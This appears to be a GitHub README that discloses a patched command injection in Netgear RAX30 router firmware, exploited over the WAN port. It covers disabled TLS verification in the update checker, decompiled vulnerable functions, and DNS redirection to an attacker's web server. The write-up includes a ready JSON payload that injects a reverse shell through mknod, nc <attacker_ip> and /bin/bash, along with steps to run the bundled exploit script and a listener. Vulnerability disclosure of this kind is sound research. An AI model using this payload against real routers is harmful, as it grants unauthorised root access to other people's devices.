Skip to content

pjlantz/netgear_rax30_wan_exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 

Repository files navigation

WAN-based command injection in Netgear RAX30

Introduction

The following writeup describes an attack that results in code execution via the WAN interface of the Netgear RAX30 in firmware versions up to and including 1.0.7.78 and was fixed in 1.0.9.90.

This does not work against a device booted the very first time after a factory default. A device must have performed the initial setup by the end-user, such as setting admin, wireless passwords and SSID. Following this during subsequent reboots, the router will try to check some APIs and for any firmware updates. If the router is redirected to a web server that is under attacker's control (via a DNS or TCP redirection), the device will parse the malicious HTTP response that contains a command injection and will lead to execution of the injected command. The firmware update checking is running as root and attacker gains full privileges on the router.

Vulnerability analysis

The update service is found at /bin/pufwUpgrade which uses two libraries, /usr/lib/libfwcheck.so (sha256: 085ac99ab45e73536e9570ef5e253bb4882b2914ce34e8764de258de3b04dba5) and /lib/libpu_util.so (sha256: 9f4667fbe980e57e826c7bdac7b46530aff875b427784230c42ac24e71ae3749).

Missing web server certificate verifications is located in /usr/lib/libfwcheck.so in the function curl_post.

The code that is vulnerable to command injection is found in the library /lib/libpu_util.so and the function DownloadFiles.

Missing web server certificate verification

It is possible to serve a web server and provide malicious responses to the device due to the following code in curl_post:

.
.
.
  ((void (*)(int, const char *, ...))fw_debug)(1, " URL is %s\n", url);
  curl_easy_setopt(curl, CURLOPT_URL, url);
  curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);  
  curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); 
  curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
  v12 = strlen(data);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, v12);
  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
  curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
  if ( curl_easy_perform(curl) )
.
.
.

The curl options CURLOPT_SSL_VERIFYHOST and CURLOPT_SSL_VERIFYPEER are disabled which means any self-signed certificate will be accepted by the curl client.

Command injection

The DownloadFiles function starts by preparing a string to make a HTTP request with curl:

.
.
.
iVar1 = strncasecmp(param_1,"https://",8);
iVar2 = access("/tmp/curl_no_verify",0);
if (iVar1 == 0 && iVar2 == -1) {
snprintf(acStack532,500,
    "(curl --fail --cacert %s %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2>  %s; echo $? > %s)"
    ,"/opt/xagent/certs/ca-bundle-mega.crt",param_1,param_4,param_2,
    "/tmp/curl_result_err.txt","/tmp/curl_result.txt");
}
else {
snprintf(acStack532,500,
    "(curl --fail --insecure %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> % s; echo $? > %s)"
    ,param_1,param_4,param_2,"/tmp/curl_result_err.txt","/tmp/curl_result.txt");
}
DBG_PRINT("%s:%d, cmd=%s\n","DownloadFiles",0x148,acStack532);
iVar1 = pegaPopen(acStack532,"r");
.
.
.

In this code snippet, checks are done to determine if the url from pufwUpgrade contains https and if there is no file /tmp/curl_no_verify on the system. In any case, a string is created next that will perform the actual request using curl. Just after this, pegaOpenis called which in turn will perform an execve call at the end of the function with this curl string as input, as shown below:

.
.
.
  local_10 = param_1;
  execve("/bin/sh",&pcStack24,environ);
                    /* WARNING: Subroutine does not return */
  _exit(0x7f);
}

execve is not vulnerable to command injections per-se, but by executing the curl command as input to /bin/sh with execve function makes it vulnerable to injection.

Exploitation

In order to verify this exploit, a setup is required where the attacker will act as the DHCP and DNS server and responds to the request made from the WAN port. First of all, the router is assigned an IP during boot, then DNS lookups for devcom.up.netgear.com will be responded with the IP of a web server under attacker's control.

The device will shortly after boot make some POST requests to https://devcom.up.netgear.com, however only one request is important for the attack and needs to be responded to:

GET /UpBackend/checkFirmware/ HTTP/1.1
Host: devcom.up.netgear.com
Accept: */*
Content-Type:application/json
X-DreamFactoryAPIKey: duhSjhrUjvM6BIRdzJz7F3CZ5B66zjAodjbfIzZu1FSbxFeB7KxRIwYAXrf3e2WL
Content-Length: 245

{"token":"ea33b0c26f924a15afd45c0720cd7b5e44da1dd3f5a975d01dd33f76c7f94375","ePOCHTimeStamp":"1652236774",
"modelNumber":"RAX30","serialNumber":"6LG119WK00F20","regionCode":"2","reasonToCall":"1","betaAcceptance":
0,"currentFWVersion":"V1.0.7.78"}

A response is then made from the fake web server with JSON data containing the command injection:

{"status":1,"errorCode":null,"message":null,"url":"; mknod /tmp/backpipe p; nc <attacker_ip> 8888 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe)#"}

The value from the URL key will be parsed and the device will make a number of GET requests to this URL using curl via DownloadFiles. The ending )# in the URL value is needed as DownloadFiles will construct the command string surrounded by parenthesis, and bracket is used to ignore the rest of the command after (curl --fail --cacert %s %s. The resulting string that will be executed via /bin/sh is:

(curl --fail --cacert /opt/xagent/certs/ca-bundle-mega.crt; mknod /tmp/backpipe p; nc <attacker_ip> 8888 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe)

The curl command will fail but the pipe will be created and nc will be invoked to spawn a reverse shell at an attacker-controlled machine.

Running the exploit

Requirements

This exploit has been tested on Ubuntu 22.04 and requires dnsmasq and python3 to be installed.

sudo apt install dnsmasq python3

Usage

  1. Run it and set interface that will communicate with WAN port
sudo ./run.sh <interface>
  1. start a reverse shell listener in a separate shell:
nc -nlvp 8888
  1. Boot the router and wait for reverse shell, it can take up to 3-4 minutes

Troubleshooting

If port 53 is already taken, then systemd-resolved may be running. Stop it using: sudo systemctl stop systemd-resolved.

About

Netgear Nighthawk RAX30 remote exploit via WAN

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published